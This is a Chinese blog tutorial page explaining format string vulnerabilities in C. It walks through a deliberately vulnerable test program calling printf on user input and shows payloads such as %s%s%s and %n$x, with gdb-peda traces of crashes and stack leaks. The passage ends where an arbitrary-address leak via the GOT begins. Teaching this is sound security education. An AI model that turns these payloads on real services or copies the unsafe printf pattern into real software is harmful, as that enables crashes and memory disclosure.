<!DOCTYPE html>
<html lang="zh-cn" color-mode="light">

  <head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1" />
  <meta name="keywords" content="" />
  <meta name="author" content="郁涛丶" />
  <meta name="description" content="" />
  
  
  <title>
    
      格式化字符串原理介绍及利用 
      
      
      |
    
     郁涛丶&#39;s Blog
  </title>

  
    <link rel="apple-touch-icon" href="/images/favicon.png">
    <link rel="icon" href="/images/favicon.png">
  

  <!-- Raleway-Font -->
  <link href="https://fonts.googleapis.com/css?family=Raleway&display=swap" rel="stylesheet">

  <!-- hexo site css -->
  
<link rel="stylesheet" href="/css/color-scheme.css">
<link rel="stylesheet" href="/css/base.css">
<link rel="stylesheet" href="//at.alicdn.com/t/font_1886449_67xjft27j1l.css">
<link rel="stylesheet" href="/css/github-markdown.css">
<link rel="stylesheet" href="/css/highlight.css">
<link rel="stylesheet" href="/css/comments.css">

  <!-- 代码块风格 -->
  
    
<link rel="stylesheet" href="/css/figcaption/mac-block.css">

  

  <!-- jquery3.3.1 -->
  
    <script defer type="text/javascript" src="/plugins/jquery.min.js"></script>
  

  <!-- fancybox -->
  
    <link href="/plugins/jquery.fancybox.min.css" rel="stylesheet">
    <script defer type="text/javascript" src="/plugins/jquery.fancybox.min.js"></script>
  
  
<script src="/js/fancybox.js"></script>


  

  <script>
    var html = document.documentElement
    const colorMode = localStorage.getItem('color-mode')
    if (colorMode) {
      document.documentElement.setAttribute('color-mode', colorMode)
    }
  </script>
<!-- hexo injector head_end start -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.12.0/dist/katex.min.css">

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/hexo-math@4.0.0/dist/style.css">
<!-- hexo injector head_end end --><meta name="generator" content="Hexo 5.4.0"><link rel="alternate" href="/atom.xml" title="郁涛丶's Blog" type="application/atom+xml">
</head>


  <body>
    <div id="app">
      <div class="header">
  <div class="avatar">
    <a href="/">
      <!-- 头像取消懒加载，添加no-lazy -->
      
        <img src="/images/avatar.png" alt="">
      
    </a>
    <div class="nickname"><a href="/">Ghostasky</a></div>
  </div>
  <div class="navbar">
    <ul>
      
        <li class="nav-item" data-path="/">
          <a href="/">Home</a>
        </li>
      
        <li class="nav-item" data-path="/archives/">
          <a href="/archives/">Archives</a>
        </li>
      
        <li class="nav-item" data-path="/categories/">
          <a href="/categories/">Categories</a>
        </li>
      
        <li class="nav-item" data-path="/tags/">
          <a href="/tags/">Tags</a>
        </li>
      
        <li class="nav-item" data-path="/about/">
          <a href="/about/">About</a>
        </li>
      
    </ul>
  </div>
</div>


<script src="/js/activeNav.js"></script>



      <div class="flex-container">
        <!-- 文章详情页，展示文章具体内容，url形式：https://yoursite/文章标题/ -->
<!-- 同时为「标签tag」，「朋友friend」，「分类categories」，「关于about」页面的承载页面，具体展示取决于page.type -->


    <!-- LaTex Display -->

  
    <script async type="text/javascript" src="https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-chtml.js"></script>
  
  <script>
    MathJax = {
      tex: {
        inlineMath: [['$', '$'], ['\\(', '\\)']]
      }
    }
  </script>


        
            
                <!-- clipboard -->

  
    <script async type="text/javascript" src="/plugins/clipboard.min.js"></script>
  
  
<script src="/js/codeCopy.js"></script>



                    
                        
                                
                                        
                                                
                                                        
                                                            <!-- 文章内容页 url形式：https://yoursite/文章标题/ -->
                                                            <div class="container post-details" id="post-details">
                                                                <div class="post-content">
                                                                    <div class="post-title">
                                                                        格式化字符串原理介绍及利用
                                                                    </div>
                                                                    <div class="post-attach">
                                                                        <span class="post-pubtime">
        <i class="iconfont icon-updatetime" title="Update time"></i>
        2021-02-01
      </span>

                                                                        <span class="post-pubtime"> 本文共5.7k字 </span>

                                                                        <span class="post-pubtime">
        大约需要36min
      </span>

                                                                        
                                                                                    <span class="post-categories">
        <i class="iconfont icon-bookmark" title="Categories"></i>
        
        <span class="span--category">
          <a href="/categories/Technology/" title="Technology">
            <b>#</b> Technology
          </a>
        </span>
                                                                                    
                                                                                        </span>
                                                                                        
                                                                            <span class="post-tags">
        <i class="iconfont icon-tags" title="Tags"></i>
        
        <span class="span--tag">
          <a href="/tags/PWN/" title="PWN">
            <b>#</b> PWN
          </a>
        </span>
                                                                            
                                                                                </span>
                                                                                
                                                                    </div>
                                                                    <div class="markdown-body">
                                                                        <p>[TOC]</p>
<h1 id="原理介绍"><a href="#原理介绍" class="headerlink" title="原理介绍"></a>原理介绍</h1><p>[INPUT]: printf(“Color %s,number %d,fload %4.2f”,”red”, 123456,3.14);</p>
<p>[OUTPUT]:Color red,number 123456,float 3.14 </p>
<h2 id="格式化字符串函数"><a href="#格式化字符串函数" class="headerlink" title="格式化字符串函数"></a>格式化字符串函数</h2><p>常见的有：</p>
<ul>
<li>输入<br>  scanf</li>
<li>输出</li>
</ul>
<table>
<thead>
<tr>
<th>函数</th>
<th>基本介绍</th>
</tr>
</thead>
<tbody><tr>
<td>printf</td>
<td>输出到stdout</td>
</tr>
<tr>
<td>fprintf</td>
<td>输出到指定FILE流</td>
</tr>
<tr>
<td>vprintf</td>
<td>根据参数列表格式化输出到stdout</td>
</tr>
<tr>
<td>vfprintf</td>
<td>根据参数列表格式化输出到指定 FILE 流</td>
</tr>
<tr>
<td>sprintf</td>
<td>输出到字符串</td>
</tr>
<tr>
<td>snprintf</td>
<td>输出指定字节数到字符串</td>
</tr>
<tr>
<td>vsprintf</td>
<td>根据参数列表格式化输出到字符串</td>
</tr>
<tr>
<td>vsnprintf</td>
<td>根据参数列表格式化输出指定字节到字符串</td>
</tr>
<tr>
<td>setproctitle</td>
<td>设置 argv</td>
</tr>
<tr>
<td>syslog</td>
<td>输出日志</td>
</tr>
<tr>
<td>err,verr,warn,vwarn等</td>
<td></td>
</tr>
</tbody></table>
<h2 id="格式化字符串"><a href="#格式化字符串" class="headerlink" title="格式化字符串"></a>格式化字符串</h2><p>基本格式：</p>
<blockquote>
<p>%[parameter][flags][field width][.precision][length]type</p>
</blockquote>
<p>具体可参考维基百科<a target="_blank" rel="noopener" href="https://zh.wikipedia.org/wiki/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2">https://zh.wikipedia.org/wiki/%E6%A0%BC%E5%BC%8F%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2</a></p>
<ul>
<li>parameter：n$，获取指定参数</li>
<li>flag</li>
<li>field width：输出的最小宽度</li>
<li>precision：输出的最大长度</li>
<li>length：输出的长度，hh：输出一个字节；h：输出一个双字节</li>
<li>type：i，u，d，x，o，c，p等，%：不接受任何flag和width</li>
</ul>
<h2 id="格式化字符串漏洞原理"><a href="#格式化字符串漏洞原理" class="headerlink" title="格式化字符串漏洞原理"></a>格式化字符串漏洞原理</h2><p>[INPUT]: printf(“Color %s,number %d,fload %4.2f”,”red”, 123456,3.14);</p>
<p>[OUTPUT]:Color red,number 123456,float 3.14 </p>
<p>对于上，在进图printf函数之前，栈上的布局由高地址到低地址如下：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">some_value  #这里我们假设此值未知</span><br><span class="line">3.14</span><br><span class="line">123456</span><br><span class="line">addr of &quot;red&quot;</span><br><span class="line">addr of format string: Color %s...</span><br></pre></td></tr></table></figure>

<p>进入printf之后，函数首先获取第一个参数，一个一个读取，会遇到两种情况</p>
<ul>
<li>当前字符不是%，直接输出到相应标准输出</li>
<li>当前字符是%<ul>
<li>如果没有字符，报错</li>
<li>如果下一个字符是%，输出%</li>
<li>否则根据相应的字符，获取相应的参数，对其进行解析并输出</li>
</ul>
</li>
</ul>
<p>有以下测试代码：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">printf(&quot;Color %s, Number %d, Float %4.2f&quot;);</span><br></pre></td></tr></table></figure>

<p>我们并没有提供参数，那么程序会如何运行呢？程序照样会运行，会将栈上存储格式化字符串地址上面的三个变量分别解析为</p>
<ol>
<li>解析其地址对应的字符串</li>
<li>解析其内容对应的整形值</li>
<li>解析其内容对应的浮点值</li>
</ol>
<p>对于 2，3 来说倒还无妨，但是对于对于 1 来说，如果提供了一个不可访问地址，比如 0，那么程序就会因此而崩溃。</p>
<p>这基本就是格式化字符串漏洞的基本原理了。</p>
<h1 id="格式化字符串漏洞利用"><a href="#格式化字符串漏洞利用" class="headerlink" title="格式化字符串漏洞利用"></a>格式化字符串漏洞利用</h1><h2 id="程序崩溃"><a href="#程序崩溃" class="headerlink" title="程序崩溃"></a>程序崩溃</h2><p>通常来说，利用格式化字符串漏洞使得程序崩溃是最为简单的利用方式，因为我们只需要输入若干个 %s 即可</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%s%s%s%s%s%s%s%s%s%s%s</span><br></pre></td></tr></table></figure>

<p>这是因为栈上不可能每个值都对应了合法的地址，所以总是会有某个地址可以使得程序崩溃。这一利用，虽然攻击者本身似乎并不能控制程序，但是这样却可以造成程序不可用。比如说，如果远程服务有一个格式化字符串漏洞，那么我们就可以攻击其可用性，使服务崩溃，进而使得用户不能够访问。</p>
<h2 id="泄露内存"><a href="#泄露内存" class="headerlink" title="泄露内存"></a>泄露内存</h2><p>利用格式化字符串漏洞，我们还可以获取我们所想要输出的内容。一般会有如下几种操作</p>
<ul>
<li>泄露栈内存<ul>
<li>获取某个变量的值</li>
<li>获取某个变量对应地址的内存</li>
</ul>
</li>
<li>泄露任意地址内存<ul>
<li>利用got表得到libc函数地址，获取 libc，进而获取其它 libc 函数地址</li>
<li>盲打，dump整个程序，获取有用信息</li>
</ul>
</li>
</ul>
<h3 id="泄露栈内存"><a href="#泄露栈内存" class="headerlink" title="泄露栈内存"></a>泄露栈内存</h3><p>测试代码：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span> </span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> s[<span class="number">100</span>];</span><br><span class="line">  <span class="keyword">int</span> a = <span class="number">1</span>, b = <span class="number">0x222222</span>, c = <span class="number">-1</span>;</span><br><span class="line">  <span class="built_in">scanf</span>(<span class="string">&quot;%s&quot;</span>, s);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;%08x.%08x.%08x.%s\n&quot;</span>, a, b, c, s);</span><br><span class="line">  <span class="built_in">printf</span>(s);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">gcc -m32 -fno-<span class="built_in">stack</span>-protector -no-pie <span class="number">1.</span>c</span><br><span class="line">    </span><br><span class="line">如果报错：</span><br><span class="line">/usr/include/stdio.h:<span class="number">27</span>:<span class="number">10</span>: fatal error: bits/libc-header-start.h: No such file <span class="keyword">or</span> directory</span><br><span class="line">   <span class="number">27</span> | <span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;bits/libc-header-start.h&gt;</span></span></span><br><span class="line">      |          ^~~~~~~~~~~~~~~~~~~~~~~~~~</span><br><span class="line">compilation terminated.</span><br><span class="line"></span><br><span class="line">原因是环境没有完善造成的</span><br><span class="line">sudo apt-get install gcc-multilib</span><br></pre></td></tr></table></figure>

<p>在printf处下断点，r起来，输入%08x.%08x.%08x</p>
<p>看栈：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">[-------------------------------------code-------------------------------------]</span><br><span class="line">   0xf7e1fddb &lt;fprintf+27&gt;:	add    esp,0x1c</span><br><span class="line">   0xf7e1fdde &lt;fprintf+30&gt;:	ret    </span><br><span class="line">   0xf7e1fddf:	nop</span><br><span class="line">=&gt; 0xf7e1fde0 &lt;printf&gt;:	endbr32 </span><br><span class="line">   0xf7e1fde4 &lt;printf+4&gt;:	call   0xf7f1127d</span><br><span class="line">   0xf7e1fde9 &lt;printf+9&gt;:	add    eax,0x193217</span><br><span class="line">   0xf7e1fdee &lt;printf+14&gt;:	sub    esp,0xc</span><br><span class="line">   0xf7e1fdf1 &lt;printf+17&gt;:	lea    edx,[esp+0x14]</span><br><span class="line">[------------------------------------stack-------------------------------------]</span><br><span class="line">0000| 0xffffd13c --&gt; 0x804921e (&lt;main+104&gt;:	add    esp,0x20)</span><br><span class="line">0004| 0xffffd140 --&gt; 0x804a00b (&quot;%08x.%08x.%08x.%s\n&quot;)</span><br><span class="line">0008| 0xffffd144 --&gt; 0x1 </span><br><span class="line">0012| 0xffffd148 --&gt; 0x222222 (&#x27;&quot;&quot;&quot;&#x27;)</span><br><span class="line">0016| 0xffffd14c --&gt; 0xffffffff </span><br><span class="line">0020| 0xffffd150 --&gt; 0xffffd160 (&quot;%08x.%08x.%08x&quot;)</span><br><span class="line">0024| 0xffffd154 --&gt; 0xffffd160 (&quot;%08x.%08x.%08x&quot;)</span><br><span class="line">0028| 0xffffd158 --&gt; 0xf7ffd990 --&gt; 0x0 </span><br></pre></td></tr></table></figure>

<p>栈中一地个为返回地址，第二个为格式化字符串的地址，后续为a，b，c，第6个是我们输入的格式化字符串的地址，继续运行：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ c</span><br><span class="line">Continuing.</span><br><span class="line">00000001.00222222.ffffffff.%08x.%08x.%08x</span><br></pre></td></tr></table></figure>

<p>由于我们输入的字符串%08x.%08x.%08x，程序会将栈上之后的数值分别为第一，第二第三个参数按照int型进行解析，并输出，继续运行：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ c</span><br><span class="line">Continuing.</span><br><span class="line">ffffd160.f7ffd990.080491d1[Inferior 1 (process 5931) exited normally]</span><br></pre></td></tr></table></figure>

<p>同样，%p也可。</p>
<p>这里需要注意的是，并不是每次得到的结果都一样 ，因为栈上的数据会因为每次分配的内存页不同而有所不同，这是因为栈是不对内存页做初始化的。</p>
<p><strong>直接获取栈中被视为n+1个参数的值：</strong></p>
<blockquote>
<p>%n$x</p>
</blockquote>
<p>gdb调一下：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ c</span><br><span class="line">Continuing.</span><br><span class="line"><span class="number">00000001.00222222</span>.ffffffff.%<span class="number">3</span>$x</span><br><span class="line">[----------------------------------registers-----------------------------------]</span><br><span class="line">EAX: <span class="number">0xffffd160</span> (<span class="string">&quot;%3$x&quot;</span>)</span><br><span class="line">EBX: <span class="number">0x804c000</span> --&gt; <span class="number">0x804bf14</span> --&gt; <span class="number">0x1</span> </span><br><span class="line">ECX: <span class="number">0x0</span> </span><br><span class="line">EDX: <span class="number">0x804a01d</span> --&gt; <span class="number">0x1000000</span> </span><br><span class="line">ESI: <span class="number">0xf7fb3000</span> --&gt; <span class="number">0x1e6d6c</span> </span><br><span class="line">EDI: <span class="number">0xf7fb3000</span> --&gt; <span class="number">0x1e6d6c</span> </span><br><span class="line">EBP: <span class="number">0xffffd1d8</span> --&gt; <span class="number">0x0</span> </span><br><span class="line">ESP: <span class="number">0xffffd14c</span> --&gt; <span class="number">0x804922d</span> (&lt;main+<span class="number">119</span>&gt;:	add    esp,<span class="number">0x10</span>)</span><br><span class="line">EIP: <span class="number">0xf7e1fde0</span> (&lt;<span class="built_in">printf</span>&gt;:	endbr32)</span><br><span class="line">EFLAGS: <span class="number">0x292</span> (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)</span><br><span class="line">[-------------------------------------code-------------------------------------]</span><br><span class="line">   <span class="number">0xf7e1fddb</span> &lt;<span class="built_in">fprintf</span>+<span class="number">27</span>&gt;:	add    esp,<span class="number">0x1c</span></span><br><span class="line">   <span class="number">0xf7e1fdde</span> &lt;<span class="built_in">fprintf</span>+<span class="number">30</span>&gt;:	ret    </span><br><span class="line">   <span class="number">0xf7e1fddf</span>:	nop</span><br><span class="line">=&gt; <span class="number">0xf7e1fde0</span> &lt;<span class="built_in">printf</span>&gt;:	endbr32 </span><br><span class="line">   <span class="number">0xf7e1fde4</span> &lt;<span class="built_in">printf</span>+<span class="number">4</span>&gt;:	call   <span class="number">0xf7f1127d</span></span><br><span class="line">   <span class="number">0xf7e1fde9</span> &lt;<span class="built_in">printf</span>+<span class="number">9</span>&gt;:	add    eax,<span class="number">0x193217</span></span><br><span class="line">   <span class="number">0xf7e1fdee</span> &lt;<span class="built_in">printf</span>+<span class="number">14</span>&gt;:	sub    esp,<span class="number">0xc</span></span><br><span class="line">   <span class="number">0xf7e1fdf1</span> &lt;<span class="built_in">printf</span>+<span class="number">17</span>&gt;:	lea    edx,[esp+<span class="number">0x14</span>]</span><br><span class="line">[------------------------------------<span class="built_in">stack</span>-------------------------------------]</span><br><span class="line"><span class="number">0000</span>| <span class="number">0xffffd14c</span> --&gt; <span class="number">0x804922d</span> (&lt;main+<span class="number">119</span>&gt;:	add    esp,<span class="number">0x10</span>)</span><br><span class="line"><span class="number">0004</span>| <span class="number">0xffffd150</span> --&gt; <span class="number">0xffffd160</span> (<span class="string">&quot;%3$x&quot;</span>)</span><br><span class="line"><span class="number">0008</span>| <span class="number">0xffffd154</span> --&gt; <span class="number">0xffffd160</span> (<span class="string">&quot;%3$x&quot;</span>)</span><br><span class="line"><span class="number">0012</span>| <span class="number">0xffffd158</span> --&gt; <span class="number">0xf7ffd990</span> --&gt; <span class="number">0x0</span> </span><br><span class="line"><span class="number">0016</span>| <span class="number">0xffffd15c</span> --&gt; <span class="number">0x80491d1</span> (&lt;main+<span class="number">27</span>&gt;:	add    ebx,<span class="number">0x2e2f</span>)</span><br><span class="line"><span class="number">0020</span>| <span class="number">0xffffd160</span> (<span class="string">&quot;%3$x&quot;</span>)</span><br><span class="line"><span class="number">0024</span>| <span class="number">0xffffd164</span> --&gt; <span class="number">0x0</span> </span><br><span class="line"><span class="number">0028</span>| <span class="number">0xffffd168</span> --&gt; <span class="number">0xffffd1c8</span> --&gt; <span class="number">0x222222</span> (<span class="string">&#x27;&quot;&quot;&quot;&#x27;</span>)</span><br><span class="line">[------------------------------------------------------------------------------]</span><br><span class="line">Legend: code, data, rodata, value</span><br><span class="line"></span><br><span class="line">Breakpoint <span class="number">1</span>, <span class="number">0xf7e1fde0</span> in <span class="built_in">printf</span> () from /lib32/libc.so<span class="number">.6</span></span><br><span class="line">gdb-peda$ c</span><br><span class="line">Continuing.</span><br><span class="line"><span class="number">80491</span>d1[Inferior <span class="number">1</span> (process <span class="number">6012</span>) exited normally]</span><br></pre></td></tr></table></figure>

<p>可以看出，确实得到了 0x80491d1</p>
<h3 id="获取栈对应字符串"><a href="#获取栈对应字符串" class="headerlink" title="获取栈对应字符串"></a>获取栈对应字符串</h3><p>还可以获得栈对应的字符串，%s，还是上面的程序，gdb调试：</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line">gdb-peda$ r</span><br><span class="line">Starting program: /home/yutao/Desktop/a.out </span><br><span class="line">%s</span><br><span class="line">[-------------------------------------code-------------------------------------]</span><br><span class="line">   <span class="number">0xf7e1fddb</span> &lt;<span class="built_in">fprintf</span>+<span class="number">27</span>&gt;:	add    esp,<span class="number">0x1c</span></span><br><span class="line">   <span class="number">0xf7e1fdde</span> &lt;<span class="built_in">fprintf</span>+<span class="number">30</span>&gt;:	ret    </span><br><span class="line">   <span class="number">0xf7e1fddf</span>:	nop</span><br><span class="line">=&gt; <span class="number">0xf7e1fde0</span> &lt;<span class="built_in">printf</span>&gt;:	endbr32 </span><br><span class="line">   <span class="number">0xf7e1fde4</span> &lt;<span class="built_in">printf</span>+<span class="number">4</span>&gt;:	call   <span class="number">0xf7f1127d</span></span><br><span class="line">   <span class="number">0xf7e1fde9</span> &lt;<span class="built_in">printf</span>+<span class="number">9</span>&gt;:	add    eax,<span class="number">0x193217</span></span><br><span class="line">   <span class="number">0xf7e1fdee</span> &lt;<span class="built_in">printf</span>+<span class="number">14</span>&gt;:	sub    esp,<span class="number">0xc</span></span><br><span class="line">   <span class="number">0xf7e1fdf1</span> &lt;<span class="built_in">printf</span>+<span class="number">17</span>&gt;:	lea    edx,[esp+<span class="number">0x14</span>]</span><br><span class="line">[------------------------------------<span class="built_in">stack</span>-------------------------------------]</span><br><span class="line"><span class="number">0000</span>| <span class="number">0xffffd13c</span> --&gt; <span class="number">0x804921e</span> (&lt;main+<span class="number">104</span>&gt;:	add    esp,<span class="number">0x20</span>)</span><br><span class="line"><span class="number">0004</span>| <span class="number">0xffffd140</span> --&gt; <span class="number">0x804a00b</span> (<span class="string">&quot;%08x.%08x.%08x.%s\n&quot;</span>)</span><br><span class="line"><span class="number">0008</span>| <span class="number">0xffffd144</span> --&gt; <span class="number">0x1</span> </span><br><span class="line"><span class="number">0012</span>| <span class="number">0xffffd148</span> --&gt; <span class="number">0x222222</span> (<span class="string">&#x27;&quot;&quot;&quot;&#x27;</span>)</span><br><span class="line"><span class="number">0016</span>| <span class="number">0xffffd14c</span> --&gt; <span class="number">0xffffffff</span> </span><br><span class="line"><span class="number">0020</span>| <span class="number">0xffffd150</span> --&gt; <span class="number">0xffffd160</span> --&gt; <span class="number">0x8007325</span> </span><br><span class="line"><span class="number">0024</span>| <span class="number">0xffffd154</span> --&gt; <span class="number">0xffffd160</span> --&gt; <span class="number">0x8007325</span> </span><br><span class="line"><span class="number">0028</span>| <span class="number">0xffffd158</span> --&gt; <span class="number">0xf7ffd990</span> --&gt; <span class="number">0x0</span> </span><br><span class="line">[------------------------------------------------------------------------------]</span><br><span class="line">Legend: code, data, rodata, value</span><br><span class="line"></span><br><span class="line">Breakpoint <span class="number">1</span>, <span class="number">0xf7e1fde0</span> in <span class="built_in">printf</span> () from /lib32/libc.so<span class="number">.6</span></span><br><span class="line">gdb-peda$ c</span><br><span class="line">Continuing.</span><br><span class="line"><span class="number">00000001.00222222</span>.ffffffff.%s</span><br><span class="line">[-------------------------------------code-------------------------------------]</span><br><span class="line">   <span class="number">0xf7e1fddb</span> &lt;<span class="built_in">fprintf</span>+<span class="number">27</span>&gt;:	add    esp,<span class="number">0x1c</span></span><br><span class="line">   <span class="number">0xf7e1fdde</span> &lt;<span class="built_in">fprintf</span>+<span class="number">30</span>&gt;:	ret    </span><br><span class="line">   <span class="number">0xf7e1fddf</span>:	nop</span><br><span class="line">=&gt; <span class="number">0xf7e1fde0</span> &lt;<span class="built_in">printf</span>&gt;:	endbr32 </span><br><span class="line">   <span class="number">0xf7e1fde4</span> &lt;<span class="built_in">printf</span>+<span class="number">4</span>&gt;:	call   <span class="number">0xf7f1127d</span></span><br><span class="line">   <span class="number">0xf7e1fde9</span> &lt;<span class="built_in">printf</span>+<span class="number">9</span>&gt;:	add    eax,<span class="number">0x193217</span></span><br><span class="line">   <span class="number">0xf7e1fdee</span> &lt;<span class="built_in">printf</span>+<span class="number">14</span>&gt;:	sub    esp,<span class="number">0xc</span></span><br><span class="line">   <span class="number">0xf7e1fdf1</span> &lt;<span class="built_in">printf</span>+<span class="number">17</span>&gt;:	lea    edx,[esp+<span class="number">0x14</span>]</span><br><span class="line">[------------------------------------<span class="built_in">stack</span>-------------------------------------]</span><br><span class="line"><span class="number">0000</span>| <span class="number">0xffffd14c</span> --&gt; <span class="number">0x804922d</span> (&lt;main+<span class="number">119</span>&gt;:	add    esp,<span class="number">0x10</span>)</span><br><span class="line"><span class="number">0004</span>| <span class="number">0xffffd150</span> --&gt; <span class="number">0xffffd160</span> --&gt; <span class="number">0x8007325</span> </span><br><span class="line"><span class="number">0008</span>| <span class="number">0xffffd154</span> --&gt; <span class="number">0xffffd160</span> --&gt; <span class="number">0x8007325</span> </span><br><span class="line"><span class="number">0012</span>| <span class="number">0xffffd158</span> --&gt; <span class="number">0xf7ffd990</span> --&gt; <span class="number">0x0</span> </span><br><span class="line"><span class="number">0016</span>| <span class="number">0xffffd15c</span> --&gt; <span class="number">0x80491d1</span> (&lt;main+<span class="number">27</span>&gt;:	add    ebx,<span class="number">0x2e2f</span>)</span><br><span class="line"><span class="number">0020</span>| <span class="number">0xffffd160</span> --&gt; <span class="number">0x8007325</span> </span><br><span class="line"><span class="number">0024</span>| <span class="number">0xffffd164</span> --&gt; <span class="number">0xc</span> (<span class="string">&#x27;\x0c&#x27;</span>)</span><br><span class="line"><span class="number">0028</span>| <span class="number">0xffffd168</span> --&gt; <span class="number">0xffffd1c8</span> --&gt; <span class="number">0x222222</span> (<span class="string">&#x27;&quot;&quot;&quot;&#x27;</span>)</span><br><span class="line">[------------------------------------------------------------------------------]</span><br><span class="line">Legend: code, data, rodata, value</span><br><span class="line"></span><br><span class="line">Breakpoint <span class="number">1</span>, <span class="number">0xf7e1fde0</span> in <span class="built_in">printf</span> () from /lib32/libc.so<span class="number">.6</span></span><br><span class="line">gdb-peda$ c</span><br><span class="line">Continuing.</span><br><span class="line">%s[Inferior <span class="number">1</span> (process <span class="number">9526</span>) exited normally]</span><br><span class="line"></span><br></pre></td></tr></table></figure>

<p>可以看出，第二次printf时，将0x8007325 处视为字符串变量并进行了打印。</p>
<p><strong>当然，并不是所有这样的都会正常运行，如果对应的变量不能够被解析为字符串地址，那么，程序就会直接崩溃。</strong></p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">yutao@ubuntu:~/Desktop$ ./a.out </span><br><span class="line">%4$s            </span><br><span class="line">00000001.00222222.ffffffff.%4$s</span><br><span class="line">Segmentation fault (core dumped)</span><br></pre></td></tr></table></figure>

<p>小技巧总结：</p>
<blockquote>
<ol>
<li>利用 %x 来获取对应栈的内存，但建议使用 %p，可以不用考虑位数的区别。</li>
<li>利用 %s 来获取变量所对应地址的内容，只不过有零截断。</li>
<li>利用 %order$x 来获取指定参数的值，利用 %order$s 来获取指定参数对应地址的内容。</li>
</ol>
</blockquote>
<h2 id="泄露任意地址内存"><a href="#泄露任意地址内存" class="headerlink" title="泄露任意地址内存"></a>泄露任意地址内存</h2><p>我们想要泄露某一个 libc 函数的 got 表内容，从而得到其地址，进而获取 libc 版本以及其他函数的地址，能不能这样做呢？当然可以。</p>
